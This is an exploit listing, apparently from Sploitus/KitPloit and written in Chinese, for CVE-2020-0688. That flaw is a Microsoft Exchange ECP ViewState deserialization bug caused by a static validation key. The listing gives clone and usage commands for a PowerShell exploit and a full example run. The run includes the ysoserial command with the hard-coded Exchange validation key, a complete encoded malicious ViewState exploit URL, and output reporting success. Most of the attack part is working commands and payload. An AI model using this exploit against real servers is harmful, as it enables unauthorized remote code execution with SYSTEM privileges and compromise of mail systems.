Sploitus

Exploit for CVE-2020-0688

kitploit · 2026-09-04

Exploit Code

MARKDOWN90 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MRTIZ-CVE-2020-0688
# CVE-2020-0688

Microsoft Exchange Server 在安装时未能正确创建唯一密钥,存在一个远程代码执行漏洞。

已知验证密钥的情况下,拥有邮箱的已认证用户可以向以 SYSTEM 权限运行的 Web 应用程序传递任意对象进行反序列化。

## 关于漏洞

该漏洞存在于 Exchange 控制面板 (ECP) 组件中。漏洞本质非常简单:所有 Microsoft Exchange Server 安装实例并未为每个安装随机生成密钥,而是使用了相同的 `validationKey` 和 `decryptionKey` 值(位于 `web.config` 中)。这些密钥用于保护 ViewState 安全。ViewState 是 ASP.NET Web 应用程序以序列化格式存储在客户端上的服务器端数据。客户端通过 `__VIEWSTATE` 请求参数将这些数据返回给服务器。

由于使用了静态密钥,经过身份验证的攻击者可以诱骗服务器反序列化恶意构造的 ViewState 数据。借助 YSoSerial.net,攻击者可以在 Exchange 控制面板 Web 应用程序(以 SYSTEM 权限运行)的上下文中执行任意 .NET 代码。(来源)

## 开始使用

按照以下说明,您可以在本地计算机上获取项目副本并运行,用于开发和测试目的。

### 先决条件

  * PowerShell



### 安装

root@kitploit:~
    
    
    git clone https://github.com/MrTiz/CVE-2020-0688.git
    

## 用法

root@kitploit:~
    
    
    PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url <url> -Username <username> -Password <password> -Command <command> -YsoserialPath <ysoserialpath>
    

## 示例

root@kitploit:~
    
    
    PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://localhost' -Username 'domain\username' -Password 'REDACTED' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe'
    
    [*] Start to exploit...
    [+] Login url: https://localhost:443/owa/auth.owa
    [*] Status code: 200
    [+] Login successfully!
    [*] Tring to get __VIEWSTATEGENERATOR...
    [+] Done! __VIEWSTATEGENERATOR: B97B4E27
    [*] Tring to get ASP.NET_SessionId...
    [+] Done! ASP.NET_SessionId: 624abfff-85b6-4357-be8c-18a931cad256
    
    C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell whoami > C:/whoami.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="624abfff-85b6-4357-be8c-18a931cad256" --islegacy --isdebug
    
    [+] Exp url: https://localhost:443/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyywYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADtBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BcG93ZXJzaGVsbDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BIndob2FtaSAmZ3Q7IEM6L3dob2FtaS50eHQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgviru9bDCgMPT0snH0s0u%2BA6J37Fg%3D%3D
    
    [*] Auto trigger payload...
    [+] Status code: 500, Maybe success!
    

## 贡献

贡献使开源社区成为一个学习、激励和创造的好地方。 您提供的任何贡献都将**深受感激** 。

  1. Fork 该项目
  2. 创建您的功能分支 (`git checkout -b feature/AmazingFeature`)
  3. 提交您的更改 (`git commit -m 'Add some AmazingFeature'`)
  4. 推送到分支 (`git push origin feature/AmazingFeature`)
  5. 发起 Pull Request



## 作者

  * **Tiziano Marra**



## 免责声明

此漏洞利用程序仅用于教育和研究目的。作者对任何非法使用不承担任何责任。请自行承担风险使用,并且仅针对您有权测试的系统使用。

## 许可证

![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)

本项目基于 GNU General Public License v3.0 许可 - 详情请参阅 LICENSE 文件。